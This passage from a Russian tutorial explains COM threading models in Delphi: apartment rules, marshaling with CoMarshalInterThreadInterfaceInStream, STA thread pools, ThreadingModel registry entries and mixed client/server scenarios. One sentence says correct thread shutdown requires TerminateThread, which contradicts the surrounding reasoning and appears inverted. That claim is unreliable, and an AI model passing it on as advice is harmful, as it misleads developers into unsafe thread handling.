Подведем небольшой итог. Я как всегда отмечаю, что к объекту COM, живущему в STA можно получить доступ из множества потоков, живущих в других STA и что в случае одновременного доступа к нему все потоки выстраиваются в очередь вне зависимости от того, откуда этот поток пришел. Я Вам еще не сказал, что это гарантируется самим COM, но для того, чтобы COM имел возможность правильно исполнить эту возможность, Вы со своей стороны должны проделать некоторую работу.
Для ясности в будущем, давайте предположим, что Вы имеете два потока STA в Вашем клиентском приложении и Вы создаете объект COM в первом потоке. Если Вы хотите, чтобы второй поток имел возможность доступа к этому же объекту (созданному в первом потоке), то Вы не можете просто получить указатель на интерфейс к объекту (созданному из первого потока) и начать вызывать его методы. Что Вы должны делать или, что более важно, COM позволяет делать Вам - это получить указатель на интерфейс и каким-то образом транслировать его из потока 1 в поток 2 так, чтобы когда поток 2 попытается получить доступ к этому интерфейсу COM знал бы, что этот интерфейс действительно используется вторым (отличным от первого) потоком и, таким образом, чтобы он знал о необходимости установления очередности с первым STA. Чтобы не забыть, сформулируем это в виде правила:
Правило #7: Для обеспечения корректного доступа к объектам COM множества потоков в РАЗДЕЛЬНЫХ подразделениях, указатель на интерфейс к этому объекту должен маршалироваться (транслироваться) из подразделения, в котором этот объект живет, в подразделение, в котором должен производиться доступ. Конечно, если доступ к объекту производится из своего собственного подразделения, то нет нужды ни в каком маршалинге, хотя это и не повредит. Причина этого заключается в том, как мы уже говорили ранее, что подразделение имеет хорошо определенный набор правил, как следует предоставлять доступ к объектам, живущим в нем. Для того, чтобы доступ к объекту потоками из других подразделений осуществлялся должным образом, Вы должны, когда понадобится доступ к объекту из другого подразделения, явно объявить COM, что правила доступа к этому объекту установлены корректно. Если Вы забываете производить маршалинг через подразделения при доступе к объектам COM и пытаетесь манипулировать простым указателем на интерфейс, COM выдаст Вам ошибку с кодом RPC_E_WRONG_THREAD ($8001010E), означающую "Приложение вызвало интерфейс, маршалированный для другого потока" ("The application called an interface that was marshaled for a different thread").
Когда Вы маршалируете указатель на интерфейс из подразделения источника в целевое подразделение, Вы экспортируете указатель из подразделения источника и затем импортируете тот же указатель в целевое подразделение. Такой процесс экспорта-импорта приводит к тому, что целевое подразделение получает нечто, называемое заместителем или прокси (proxy) интерфейсным указателем на оригинальный указатель на интерфейс. Для всех целей прокси ведет себя точно так же, как и оригинальный указатель на интерфейс, т.е. Вы можете вызывать методы через прокси так же, как это производится и через настоящий указатель на интерфейс. Единственная разница, которую Вам потребуется знать, заключается в том, что вызовы через прокси делаются медленнее (иногда существенно медленнее), чем вызовы, производимые через настоящий указатель не интерфейс. Экспорт и импорт указателя на интерфейс в действительности не столь сложен. COM предлагает две простых функции API для маршалинга указателей на интерфейс:

CoMarshalInterThreadInterfaceInStream - для экспорта/маршалинга и
CoGetInterfaceAndReleaseStream - для импорта/демаршалинга.

Демаршалинг Вам необходимо производить потому, что процесс маршалинга записывает указатель на интерфейс в поток (stream) (вместе с другой информацией, однозначно иденцифицирующей размещение объекта COM, на который ссылается указатель), а следовательно, Вам придется изымать его оттуда (демаршалировать) в допустимый прокси указатель на интерфейс.
Синтаксис CoMarshalInterThreadInterfaceInStream следующий:

function CoMarshalInterThreadInterfaceInStream (const iid: TIID; unk: IUnknown; out stm: IStream): HResult; stdcall;

IID идентификатор интерфейса (ID), который Вы хотите маршалировать.
Unk - это указатель на интерфейс IUnknown объекта, чей интерфейс Вы хотите маршалировать.
Stm - это переменная IStream, в которой будет содержаться указатель на маршалируемый интерфейс, Вы не должны запрашивать какую-либо память для Stm, так как COM сделает это за Вас.
Синтаксис CoGetInterfaceAndReleaseStream следующий:
function CoGetInterfaceAndReleaseStream (stm:IStream; const iid:TIID; out pv) : HResult; stdcall;
Stm - это переменная IStream, которая используется Вами при маршалинге указателя на интерфейс; COM автоматически освобождает память Stm после завершения вызова.
IID идентификатор интерфейса (ID), который Вы хотите маршалировать.
Pv - переменная, в которой хранится прокси указатель интерфейса до успешного завершения демаршалинга. Следующий фрагмент иллюстрирует, как маршалируется указатель на IDispatch из потока 1 в поток 2 различных STA:

var pStream : pointer;

В потоке 1:

procedure DoMarshal;
  var pObject1: IDispatch;
begin
  pObject1 := CreateOleObject('Server.Object1');   CoMarshalInterThreadInterfaceInStream(IDispatch, pObject1 as IUnknown, IStream(pStream));
end;

В потоке 2:

procedure DoUnmarshal;
  var pObject1 : IDispatch;
begin
  CoGetInterfaceAndReleaseStream(IStream(pStream), IDispatch, pObject1);   pObject1.DoSomething;
end;

Отметьте, что в маршалинге важна последовательность производимых действий:
сначала указатель на интерфейс должен быть маршалирован в потоковой переменной, и только после этого второй поток может демаршалировать его. Я также объявил pStream как указатель вместо IStream и делаю явное преобразование типов IStream (pStream), так как мы хотим предотвратить автоматический подсчет ссылок в Delphi, из-за которого у нас могли бы возникнуть проблемы - функции маршалинга Win32 API неявно создают и освобождают указатель на IStream (pStream).
Теперь, когда мы приколотили основные идеи модели STA, мы готовы двигаться дальше к следующей ступени понимания: как клиенты COM и сервера взаимодействуют между собой во владениях модели STA. Этот шаг приводит к теме, возможно, являющейся одной из самых важных (и наиболее неподдающейся пониманию) тем в потоковой модели COM. Поэтому я буду предполагать, что Вы замедлили чтение на этом месте. Постарайтесь восстановить в памяти полную картину прочитанного и, если необходимо, перечитайте еще раз.
Внешний (EXE) сервер, поддерживающий модель STA, обычно создает несколько потоков STA для своих объектов. Простейшей реализацией сервера STA является создание раздельных потоков STA для каждого экземпляра каждого объекта, создающихся средствами этого сервера. Другими словами, если клиент 1 создает Server.Object1, а клиент 2 создает Server.Object2, оба с помощью одного сервера STA, то сервер может просто создать два потока STA: первый, в котором будет жить объект Object1, и второй, в котором будет жить Object2. Таким образом, если клиент 1 и клиент 2 одновременно вызывают методы объектов Object1 и Object2 соответственно, то сервер в действительности будет обслуживать одновременно оба вызова к обоим объектам в двух потоках STA. Простейшим способом для сервера создать по потоку STA на каждый экземпляр является запуск некоего процесса, в котором COM попросил бы сервер создать новый экземпляр объекта. Запустив такой процесс, сервер может затем породить новый поток STA, имея такой поток - создать экземпляр во время исполнения его метода Execute, а затем вернуть указатель на этот экземпляр COM (а следовательно, и клиенту). Для объектов автоматизации Delphi этот процесс может быть воспроизведен в методе TAutoObjectFactory.CreateInstance, использующемся при реализации IClassFactory.CreateInstance. Следующий псевдокод иллюстрирует этот процесс:

type
  TSTAAutoObjectFactory = class(TAutoObjectFactory, IClassFactory)
    function CreateInstance;
  end;

  TSTAThread = class(TThread)
    procedure Execute; override;
  end;

function TSTAAutoObjectFactory.CreateInstance;
begin
  Создает и порождает новый экземпляр TSTAThread;
  Заставляет поток STA создать затребованный объект
    Ждет, пока поток STA успешно создаст объект
    Возвращает созданный экземпляр в качестве результата этого метода
end;

procedure TSTAThread.Execute;
begin
// Вход в STA
  CoInitializeEx(nil, COINIT_APARTMENTTHREADED);
  Создает экземпляр, затребованный TSTAAutoObjectFactory;
  Сигнализирует потоку TSTAAutoObjectFactory.CreateInstance, что экземпляр теперь доступен
    Вход в цикл сообщений STA
// Выход из STA
  CoUninitialize;
end;

Этот процесс теоретически очень прост, но что Вы могли еще не разглядеть, так это то, что каждый поток STA должен знать, как и когда необходимо прекращать существование всех уже несуществующих объектов COM, живущие в нем, т.е. уже не имеют ссылок к ним от клиентов. Причина этого очевидна: потоки потребляют системные ресурсы и, следовательно, должны быть приняты все меры для того, чтобы каждый поток в приложении завершался бы должным образом, если в нем больше нет нужды. Под "завершался должным образом" я подразумеваю, что Вы должны использовать вызов TerminateThread Win32 API для завершения потоков и выполнить все проверки, убеждаясь, что метод Execute Вашего наследника TThread полностью завершился, так как в противном случае часть использовавшихся ресурсов окажется не освобожденной. Одним из способов решения этой проблемы является организация счетчика всех объектов на поток STA, на самом деле на подразделение. Кто-то также должен отслеживать состояние этого счетчика при создании и ликвидации объектов в этом подразделении. При этом, как только счетчик станет равным нулю, мы можем безопасно прекращать все потоки, живущие в данном подразделении. Вот псевдокод для этого процесса:

type
  TSTAAutoObject = class(TAutoObject)
    procedure Initialize; override;
    destructor Destroy; override;
  end;

procedure TSTAAutoObject.Initialize;
begin
  inherited;
  Увеличение счетчика объектов для STA, в котором живет экземпляр;
end;

destructor TSTAAutoObject.Destroy;
begin
  inherited;
  Уменьшение счетчика объектов для STA, в котором живет экземпляр;
  Если счетчик объектов STA = 0
    то сигнализировать потоку STA о необходимости завершения;
end;

Для серверов STA создание нового потока STA для экземпляра не всегда может быть лучшим выбором. Как я уже говорил ранее потоки потребляют некоторые системные ресурсы, и если, например, клиенты могут создавать одновременно тысячи экземпляров объектов (а, стало быть, и тысячи потоков STA), то, соответственно, производительность компьютера, на котором работает Ваш сервер, существенно "провалится". Одним из способов гарантировать, что такое не произойдет с сервером STA, является определение каким-то образом максимального числа потоков STA, а затем, когда этот максимум превышен, начать повторное использование существующих потоков STA для обслуживания потребностей новых объектов. Такая технология называется "пул потоков STA" (STA thread pooling). При этом устанавливается предопределенное максимальное количество потоков STA и, когда количество созданных потоков STA превышает это число, новые экземпляры создаются путем использования уже существующих потоков STA из пула. Этот процесс иллюстрируется следующим псевдокодом:

type
  TSTAAutoObjectFactory = class(TAutoObjectFactory, IClassFactory)
    function CreateInstance;
  end;

function TSTAAutoObjectFactory.CreateInstance;
begin
  if (Количество потоков STA в сервере < макс.допустимого числа потоков STA) then
    Создать и породить новый экземпляр TSTAThread
  else
    Выбрать произвольный поток STA из пула существующих;
  Здесь поток STA создает затребованный объект
    Ждет, пока поток STA успешно создаст объект
    Возвращает созданный экземпляр в качестве результата этого метода
end;

Для клиента STA, взаимодействующего с внешним сервером STA, все намного проще. Все, что нужно делать клиенту, это создавать объекты в любых, созданных клиентом потоках STA, а сервер STA будет заботиться о деталях того, как создавать или размещать потоки STA, в которых в действительности живут объекты. Необходимо заметить важную деталь: когда клиент создает объект из сервера STA, в действительности имеются два подразделения, один на сервере, где собственно находится объект, и второй - в клиенте, где размещаются другие клиентские STA, "ощущаемые" как объекты. В действительности клиентский STA содержит прокси, маршалирующий кросс-процесс от сервера к клиентскому приложению. Если клиентский поток STA создает объект из внешнего сервера STA и передает указатель на этот объект (очевидно в режиме маршалинга) второму клиентскому потоку STA, COM будет уверен, что второй STA будет использовать объект по правилам подразделения внешнего сервера, откуда обычно создается этот объект.
Если Вы сейчас находитесь в замешательстве, то имеется простой технический прием, который очень просто расскажет Вам, в каком подразделении живет этот объект. Посмотрите на объект, живущий в подразделении с той точки зрения, откуда пришел оригинальный указатель на интерфейс. Так, если в своем клиентском приложении Вы создаете объект в потоке 1 STA и затем используете этот объект из потока 2 STA, то говорят, что объект размещается в STA, в котором живет поток 1, так как оригинальный указатель на интерфейс к этому объекту получаем из этого подразделения. Но, если этот серверный объект размещается во внешнем сервере, то говорят, что объект размещается в STA внешнего сервера, где он располагался первоначально. Всегда помните это технический прием с указателем на интерфейс, так как Вам придется пользоваться им каждый раз, когда у Вас не будет уверенности, в каком из подразделений живет объект.
Мы до сих пор говорили в основном о внешних серверах, давайте теперь поговорим о внутренних серверах (DLL). Обычно STA внутренних серверов не создают явно потоков STA для своих объектов. Причина этого в том, что DLL фактически является просто пассивной библиотекой кода (и данных), отображенной в адресное пространство Вашего клиентского приложения. Поэтому внутренний сервер в действительности эквивалентен любому другому модулю Вашего приложения, однажды отображенным в адресное пространство приложения и, следовательно, все STA, создаваемые клиентом есть то же самое, что и STA, видимые из внутреннего (DLL) сервера. Другими словами, внутреннему серверу вовсе нет нужды активно создавать подразделения и потоки для того, чтобы обслуживать клиента. Что, однако, необходимо, так это (см. Правило #1) объяснить COM, какую потоковую модель он поддерживает или какие типы подразделений его объекты могут обслуживать. STA внутреннего сервера сообщает COM свою потоковую модель путем использования входов системного реестра (registry) для CLSID, регистрируемых для их компонентных классов CoClasses. Точнее, объект во внутреннем сервере, способный размещаться в STA должен добавить строковый параметр "ThreadingModel=Apartment" к параметру HKCR\CLSID\\InprocServer32. Таким образом внутренний сервер, содержащий Object1, поддерживающий STA, должен иметь следующие входы реестра:

[HKCR\CLSID\\InprocServer32](Default)=Server.dll
[HKCR\CLSID\\InprocServer32]ThreadingModel=Apartment

Что же делает строка "ThreadingModel=Apartment"? Все просто! Указывая ThreadingModel как Apartment сообщаем COM, что когда COM (или клиент) создает Object1, COM может и будет безопасно создавать Object1 непосредственно в том STA, в которое поступил запрос клиента на создание. Это означает, что если клиент создает два потока STA, каждый из которых использует Object1, COM будет счастливо создавать каждый экземпляр так, чтобы он жил в клиентском STA, затребовавшем его создание. Отметьте различия с внешним сервером: внешний сервер явно создает потоки STA, в которых будут жить объекты, в то время как внутренний сервер полагается на COM при определении, в каком STA (или в каком подразделении) необходимо создать объект. Поэтому в действительности внутреннему серверу необходимо иметь строковый параметр ThreadingModel в системном реестре, так как при этой схеме отсутствуют структуры, ответственные за создание потоков STA для их объектов. Следовательно, они должны сказать кому-то, кто отвечает за это (в нашем случае COM), как и где эти объекты могут безопасно жить. Для иллюстрации значимости параметра ThreadingModel, давайте взглянем, что делает Delphi для Ваших внутренних серверов.
Если Вы попробуете посмотреть параметр InprocServer32 для Вашего внутреннего сервера, сделанного на Delphi, Вы увидите, что параметр ThreadingModel отсутствует (у Delphi 3 ThreadingModel отсутствует в COM VCL, в Delphi 4 эта возможность включена). Что это значит?
Ну, одно, что можно сказать уверенно, это то, что он не поддерживает потоковую модель STA, однако можно указать "ThreadingModel=Apartment". Так что же случится, если Ваше клиентское приложение создает два потока STA, каждый из которых создает экземпляр, скажем, объекта Object1, который не имеет определенного параметра ThreadingModel? Опять все просто! Отсутствие строкового параметра ThreadingModel означает, что Ваш внутренний сервер поддерживает только однопотоковый режим работы для своих объектов. Другими словами, если имеются два клиентских потока STA, каждый из которых пытается создать экземпляр объекта Object1, COM будет видеть, что Object1 может поддерживать только однопотоковый режим работы и не будет создавать каждый экземпляр непосредственно в каждом клиентском потоке. Что COM будет делать, так это создавать оба экземпляра в одном STA (один STA является техническим определением и реализацией однопотокового режима, в котором имеется только одно подразделение и только один поток в этом одном подразделении) и затем маршалировать (вспомните маршалинг...) указатель на каждый экземпляр из этого STA к STA клиентов, затребовавшим создание этого объекта. Теперь возникает вопрос: COM создает новый STA для содержания обих (и всех прочих) экземпляров или COM только использует один из существующих STA в Вашем клиенте и этот STA используется везде, где необходимо создавать объекты? В этом случае, так как клиент работает на основе STA, COM будет использовать один из STA Вашего клиента, причем это будет главный STA, для доступа ко всем объектам внутреннего сервера. STA, который "зацепит" COM для этой цели - это первый STA, который создает клиентское приложение. Первый STA, создаваемый Вашим клиентским приложением называется главным STA. И последнее, что я бы хотел отметить в связи со строковым параметром ThreadingModel. Строковый параметр ThreadingModel - это только способ, с помощью которого внутренний сервер говорит COM, что он может безопасно поддерживать конкретную потоковую модель. Это означает, что ни при каких обстоятельствах нельзя играть (или даже думать об этом), изменяя параметр ThreadingModel на какое-либо другое значение, до тех пор, пока Вы не будете совершенно уверены, что Ваши объекты могут безопасно обслуживать тот режим, который Вы указали. Поверьте мне, что если Вы поступаете так и думаете, что Ваш внутренний сервер продолжает прекрасно работать, то Вы будете сильно огорчены, услышав, что у Ваших клиентов Ваше приложение начало сбоить, выдавая случайные сообщения о нарушениях защиты памяти, а у Вас не будет никаких мыслей по этому поводу. Другими словами, если Delphi (Delphi 3) не помещает параметр ThreadingModel в системный реестр, то на это имеются причины, и Вы должны сначала определить, что это за причины, прежде, чем Вы начнете изменять параметр ThreadingModel на "Apartment." Из последнего абзаца Вы могли заметить, что каждый клиентский поток STA получает заместителя (proxy), если сервер является однопотоковым. Когда поток подразделения получает заместителя указателя на интерфейс к объекту, это означает две вещи: первое, любой доступ, производимый к этому объекту, замедляется с использованием заместителей (proxy) в сравнении с прямым доступом и, второе, если этот заместитель предназначен для объекта, живущего в STA, то есть большие шансы того, что производительность этого объекта будет очень плохой, если в том же самом STA живут еще несколько объектов. Причина этого в том, что вызовы в этом единственном STA выстраиваются последовательно, и если, скажем, Вы имеете 50 клиентских потоков STA, и они одновременно обращаются к объектам, живущим в одном серверном STA (в случае DLL, 49 клиентов в действительности пользуются заместителями и только один имеет прямой указатель, потому что он является главным STA клиента), COM будет вмешиваться и обслуживать этим единственным потоком STA все вызовы всех потоков один за одним последовательно. Именно в этом кроется причина, почему модель STA, разрешающая Вам создавать много потоков STA, была введена в качестве средства повысить производительность однопотоковых приложений COM. Теперь, когда мы твердо усвоили, что такое STA, давайте перейдем к следующей части, в которой мы узнаем, как модель MTA продвигает нас дальше к новым возможностям потоков для увеличения производительности наших объектов COM.

Модель многопотокового подразделения (the Multithreaded Apartment Model - MTA)
Если Вы полностью разобрались в модели STA, то можно быть уверенным, что изучение модели MTA будет просто кусочком торта. Мы говорили ранее, что модель MTA, подобно модели STA, также позволяет разрабатывать многопотоковые приложения COM. Единственно, в чем заключается основная разница между моделью MTA и другими моделями, это то, что модель MTA разработана для получения максимальной производительности Ваших приложений COM. Я должен предупредить Вас, что модель MTA предоставляет Вам максимальную производительность в обмен на большую ответственность со стороны программиста в том, что объекты в действительности могут работать в архитектуре MTA. Следовательно, как и в случае с STA, я не буду, повторяю, не буду рекомендовать разрабатывать приложения COM, поддерживающие модель MTA, до тех пор, пока у Вас не появится совершенно точное понимание того, как работает модель MTA. В соответствии с этим, я имею в виду, что если Вы думаете, что это крутая штука и просто переключаете Ваш работающий сервер STA в режим MTA (простой заменой вызовов CoInitializeEx или изменением строкового параметра ThreadingModel) в надежде, что это будет лучше, то лучше приготовьтесь потерять какое-то время на основательную повторную отладку своего сервера.
Первое, что Вам необходимо знать, это то, как поток входит в MTA. Поток, запрашивающий вход в MTA или его инициализацию, использует тот же вызов CoInitializeEx API, но теперь нам необходимо использовать константу COINIT_MULTITHREADED вместо константы COINIT_APARTMENTTHREADED, использовавшейся для STA. Следующий вызов позволяет потоку войти в MTA:
CoInitializeEx (NIL, COINIT_MULTITHREADED);
Из Правила #2 мы уже знаем, что если нам необходимо создать несколько потоков, использующих MTA, то каждый из этих потоков должен вызвать CoInitializeEx(NIL,COINIT_MULTITHREADED). Архитектура MTA спроектирована таким образом, что может быть только один MTA на процесс, и, если несколько потоков входят в MTA, все они живут в этом самом единственном MTA. Почему так?
Правило #8: Модель MTA позволяет достичь максимальной производительности предоставляя потокам возможность управлять объектами COM непосредственно (т.е. без использования прокси/заместителей) в силу того, что объекты живут в MTA и потоки также живут в том же MTA. Другими словами, если есть 50 потоков, входящих в MTA, и один из них создает объект COM (поддерживающий модель MTA), то, по определению модели MTA, все 50 потоков могут непосредственно и одновременно получать доступ к этому одному объекту без необходимости маршалинга указателя на интерфейс объекта из одного потока в другой. Теперь, если Вы оглянетесь назад на Правило #7, то увидите, что я специально указывал, что маршалинг необходим только в случае, когда производится доступ к объекту из одного подразделения в другое, и поэтому Правило #7 остается справедливым и для случая модели MTA, так как множество потоков, живущих в MTA, на самом деле находится в одном подразделении и, следовательно, не происходит кросс-доступ между подразделениями. Правило #8 является гарантией COM для MTA. Эта гарантия означает, что Вы можете держать пари, что COM будет производить все вызовы Вашего объекта в разных потоках в одно и то же время, и, следовательно, Вы должны быть уверены, что Вам удастся удержать целостность Вашего объекта в то время, когда он бомбардируется вызовами, приходящими из различных потоков. Чтобы выделить это, сформулируем следующее правило:
Правило #9: Объект MTA не может делать никаких предположений о том, когда и какими потоками он будет вызван. Следовательно, Ваш объект MTA должен обеспечивать защиту как глобальных, так и специфических для экземпляра данных, которые потенциально могут быть разрушены в результате одновременного доступа к объектам различных потоков. В качестве простого примера рассмотрим сервер MTA, содержащий объект Object1, имеющий метод Method1. Если клиент создает объект Object1 и производит два вызова метода Method1, то уже для второго вызова может случиться так, что он придет из потока, отличного от того, в котором был выполнен первый вызов. Жуть, не так ли? Т.е. Вы видите, что отсутствие последовательности вызовов обеспечивает максимум производительности, но отсутствие последовательности же вызовов означает больше работы для обеспечения целостности объекта.
Из Правил #8 и #9 очень легко заметить, что поддержка модели MTA практически применима лишь в ситуации, когда Ваши объекты являются чисто служебными объектами, т.е. они не работают интенсивно с какими-то глобальными или специфичными для экземпляра данными, или когда большинство вызываемых/используемых методов Вашего объекта не требует какого-либо кода для защиты данных от разрушения при взаимодействии нескольких потоков. Я хочу сказать, что выбор модели MTA должен быть результатом осознанного решения, основанного на том, как будут использоваться Ваши объекты. Если Ваши объекты не могут обслуживать одновременный доступ из нескольких потоков к одному экземпляру объекта на достаточном уровне для использования выгоды в скорости, предоставляемой моделью MTA, а Вы думаете об использовании модели MTA, то это значит, что Вы либо не знаете, что Вы делаете, либо имеете уйму времени на занятия бессмыслицей. Конечно, Вы всегда можете взять объект STA, просмотреть все методы и защитить от совместного доступа все поля и глобальные переменные критическими секциями и тогда переключить его в режим MTA. Но

Ваш объект MTA будет работать так же, как и в "старом" варианте STA
Вы вынуждены будете написать существенно больше кода.
Другая важная вещь, которую Вы должны знать об MTA заключается в том, что COM не будет выстраивать последовательно вызовы к потоку MTA. Это означает, что нет скрытого окна, как в случае с STA, и, следовательно, Ваш MTA не нуждается в цикле обработки сообщений для своег функционирования. В действительности внешнему серверу MTA, содержащему только объекты MTA, нет необходимости иметь цикл обработки сообщений ни в каком из потоков, даже в главном. Что, однако, необходимо, так это сохранить себя в рабочем состоянии, если имеется хотя бы одна ссылка к какому-либо из экземпляров объекта, т.е. значение блокирующего счетчика больше нуля, и способ сигнализировать главному потоку о том, что счетчик стал равен нулю. Вне зависимости от того, какой из способов Вы предпочтете для реализации этого, всегда необходимо помнить, что поток MTA не нуждается в цикле обработки сообщений.
Теперь, когда мы крепко усвоили основы MTA, давайте посмотрим, как клиентское и серверное приложения взаимодействуют друг с другом в условиях модели MTA. Процесс создания объектов MTA во внешнем сервере намног проще, чем в модели STA. Когда бы клиент не затребовал у внешнего сервера MTA создание объекта, у сервера нет необходимости порождать новый поток и делегировать создание этого объекта этому потоку, как это мы делали для сервера STA. Причина этого в том, что COM создает пул потоков, который будет использоваться для управления вызовами Ваших объектов MTA.
Этот пул потоков, иногда называемый пулом потоков RPC (удаленный вызов процедуры - Remote Procedure Call - низкоуровневая реализация вызовов COM времени исполнения для межпроцессного взаимодействия), внутренне создается и управляется COM и не зависит от того, как реализован Ваш сервер MTA. Другими словами главному потоку Вашего сервера MTA достаточно только вызвать при запуске CoInitializeEx(NIL, COINIT_MULTITHREADED) и нет нужды вмешиваться в процесс "обживания" объекта, что означает, что Вам достаточно правильно создать объекты в главном потоке, в который входит MTA. Теперь, хотя Ваш объект и был создан в главном потоке Вашего сервера, нет необходимости, чтобы Ваш объект принимал поступающие вызовы в этом потоке. COM будет использовать внутренний пул RPC при распределении запросов клиента к Вашему объекту. Это и есть та причина, почему объекты MTA не могут делать никаких предположений о том, какой поток сейчас производит вызов какого-то метода.
Внутренний сервер MTA сообщает COM, что его объекты могут жить в MTA, обозначив строковый параметр в системном реестре как "ThreadingModel=Free." Таким образом, внутренний сервер, содержащий объект Object1, поддерживающий MTA должен содержать следующий входы системного реестра:
[HKCR\CLSID\\InprocServer32](Default)=Server.dll
[HKCR\CLSID\\InprocServer32]ThreadingModel=Free
Назначив параметру ThreadingModel значение Free, сервер, в основном, сообщает COM, что когда бы клиентский поток MTA не захотел создать объект Object1, COM может двигаться вперед и создавать экземпляр Object1 прямо в клиентском MTA. Под "прямо" я подразумеваю, что клиентский поток получит непосредственно указатель на интерфейс (а не заместителя) объекта Object1. Все остальные потоки, входящие в MTA позже, могут свободно осуществлять доступ к объекту Object1, как будто они сами создали объект Object1, т.е. они все управляют объектом Object1, используя прямые ссылки. Это означает, что все клиентские потоки в MTA гарантируют максимальную производительность объекта Object1 при использовании модели MTA.
Заметьте, что я сказал максимум производительности потому, что все потоки могут одновременно делать вызовы к методам объекта Object1, а объект Object1 может счастливо обслуживать все вызовы одновременно в противоположность последовательному процессу (который делает "одновременное" обслуживание нескольких клиентов существенно медленнее), производимому COM, если бы Object1 жил в STA.
К этому моменту мы уже посмотрели на STA, изучили MTA и узнали, как клиентское и серверное приложения взаимодействуют в условиях моделей STA и MTA. Но прежде, чем Вы назовете себя гуру потоковых моделей COM, имеется еще одна штука, которую необходимо принять во внимание: как клиенты и сервера различных потоковых моделей взаимодействуют между собой. Если Вы вспомните, Правило #4 устанавливает, что COM работает аккуратно, гарантируя, что два приложения с несовместимыми потоковыми моделями могут и будут правильно взаимодействовать друг с другом. Что я Вам еще не сказал, так это как в действительности COM устраивает это. Для того, чтобы понять весь процесс целиком, давайте пройдем через несколько сценариев комбинаций потоковых моделей и посмотрим, как COM поступает при каждом из этих сценариев.


Сценарии комбинаций потоковых моделей

Сценарий #1: Клиент STA и однопотоковый сервер
Внутренний сервер.
Клиентский поток STA, создающий объект в однопотоковом сервере, принимает прямое подключение к объекту, если этот поток живет в главном STA клиента. В противном случае COM создает объект в главном STA клиента и получает прокси (заместителя) к требуемому потоку. Почему COM поступает так? Ответ простой: однопотоковый сервер сообщил COM, что он может обслуживать поступающие вызовы к своим объектам только в одном потоке. COM заметит это и несомненно выполнит этот однопотоковый запрос, не "потревожив" сервер. Следовательно, любой многопотоковый клиент, желающий сообщить что-либо этому серверу, будет способен сделать это только потому, что COM заставить выполнить этот запрос в одном потоке STA. Для клиента STA COM выберет главный STA в качестве единственного потока STA.

Внешний сервер.
Все клиентские потоки STA будут пользоваться заместителями, маршалируемыми и обслуживаемыми главным (единственным) STA внешнего сервера.

Сценарий #2: Клиент STA и сервер MTA

Внутренний сервер.
Клиентский поток STA, создающий объект из сервера MTA, получит прокси (заместителя) к этому объекту, маршалированного из созданного COM MTA в клиентском приложении. На первый взгляд это кажется странным, так как по определению объект MTA должен иметь возможность прямого доступа вне зависимости от того, какой поток создан, или откуда к нему производится доступ. Другими словами, почему бы COM не создавать объект непосредственно в STA запрашивающего клиента? Давайте попробуем понять, что произойдет, если COM создаст экземпляр объекта непосредственно в клиентском STA. Если COM создает объект MTA непосредственно в клиенте STA, то с точки зрения клиента, объект живет в этом STA, но с точки зрения сервера объект в действительности живет в MTA, т.е. он выглядит так, как будто он может осуществлять все вызовы из любого потока в любое время. Теперь, если клиент пытается передать интерфейс обратного вызова методу этого объекта MTA (очевидно, что этот интерфейс нужен объекту, расположенному в клиенте, а этот объект поддерживает только STA, так как клиент работает в модели STA) и сервер пытается осуществить обратный вызов через этот интерфейс, то у сервера нет способа узнать, что этот интерфейс не в состоянии обслуживать одновременные вызовы из нескольких потоков сервера (который размещается в MTA). Другими словами клиентский объект, реализующий интерфейс обратного вызова может "задохнуться", если сервер начнет производить одновременные вызовы из разных потоков. Следовательно, создавая объект всозданном COM MTA и передавая прокси (заместителя) обратно к затребовавшему его STA, любые обратные вызовы, исходящие от сервера, будут производиться этим MTA и выстраиваться последовательно через прокси в STA, который содержит объект, обслуживающий обратный вызов.

Внешний сервер.
Все клиентские потоки STA, которым необходимо использование прокси, маршалируются и обслуживаются в MTA внешнего сервера.

Сценарий #3: Клиент MTA и однопотоковый сервер

Внутренний сервер.
Клиентский поток MTA, создающий объект из однопотокового сервера, будет принимать прокси к этому объекту, маршалированный созданным COM главным STA в клиенте (полагая, что клиент еще не создан главным STA). Очевидно, COM не может допускать прямого создания объектов однопотокового сервера в MTA, так как он не сможет пережить одновременные вызовы из потоков MTA.

Внешний сервер.
Все клиентские потоки MTA будут пользоваться прокси (заместителями), маршалированными и обслуживаемыми главным (единственным) STA внешнего сервера.

Сценарий #4: Клиент MTA и сервер STA
Внутренний сервер.
Клиентский поток MTA, создающий объект из сервера STA, получит прокси (заместителя) к этому объекту, маршалированного, созданным COM STA в клиентском приложении. Только это имеет смысл, так как сервер сказал COM, что он может поддерживать только STA и поэтому нет способа, чтобы COM прямо создавал объект в MTA, в котором другие потоки MTA преспокойно "завалят" его! Таким образом, если он живет в STA, любые вызовы, производимые потоками MTA, будут выстраиваться последовательно к STA, который, по соглашению, как раз и является тем, с чем может работать сервер.
Внешний сервер.
Все клиентские потоки MTA будут пользоваться прокси, маршалированными и обслуживаемыми в каждом соответствующем STA внешнего сервера.

Сценарий #5: Однопотоковый клиент и сервер STA

Внутренний сервер.
В этом случае, очевидно, имеется только один главный поток в клиентском приложении, в котором COM будет непосредственно создавать все объекты сервера STA.

Внешний сервер.
Клиентский главный поток STA будет пользоваться прокси, маршалированным и обслуживаемым в каждом соответствующем STA внешнего сервера.

Сценарий #6: Однопотоковый клиент и сервер MTA

Внутренний вервер.
Этот сценарий является недоделанным вариантом сценария #2, в котором имеется только один STA в клиенте, главный STA. Таким образом, по тем же причинам, что и при сценарии #2, COM будет создавать объект в созданном COM MTA и возвращать прокси к главному потоку STA. Внешний сервер. Клиентский главный поток будет пользоваться прокси, маршалируемым и обслуживаемым в MTA внешнего сервера.
Ну вот мы и рассмотрели все возможные несовместимые комбинации потоковых моделей клиентов и серверов. Мы увидели, как COM предоставляет возможность этим клиентам и серверам работать совместно. Теперь я бы хотел рассказать о необычайно интересном вопросе смешанного использования потоковых моделей. С появлением STA и MTA иногда стала появляться необходимость взаимодействия клиентов и серверов с потоками STA в одних местах и с потоками MTA в других местах внутри одного приложения. Обычно такая потребность появляется по бизнес-причинам, появляющимся при тщательном изучении того, как Ваши клиентское и серверное приложения будут взаимодействовать друг с другом. Например, Ваш сервер может нуждаться в использовании некоторых объектов для решения задач реального времени, в то время как другие не должны (или не могут) работать в режиме "производительности реального времени". В этом случае логично иметь объекты "реального времени", создаваемые в MTA, где они могут реализовать максимальную производительность, и, в то же время, иметь остальные объекты, обслуживаемые в одном или многих STA. То, что я должен описать здесь, называется Смешанная потоковая модель (Mixed Threading Model), обозначая тем самым, что Ваше приложение пользуется комбинацией (смесью) различных потоковых моделей для своих объектов.
В действительности в смешанной модели нет ничего нового. Клиентское приложение может, например, создавать целый букет рабочих потоков, живущих в MTA, в то время как другая группа потоков STA обслуживает какие-то другие потребности.
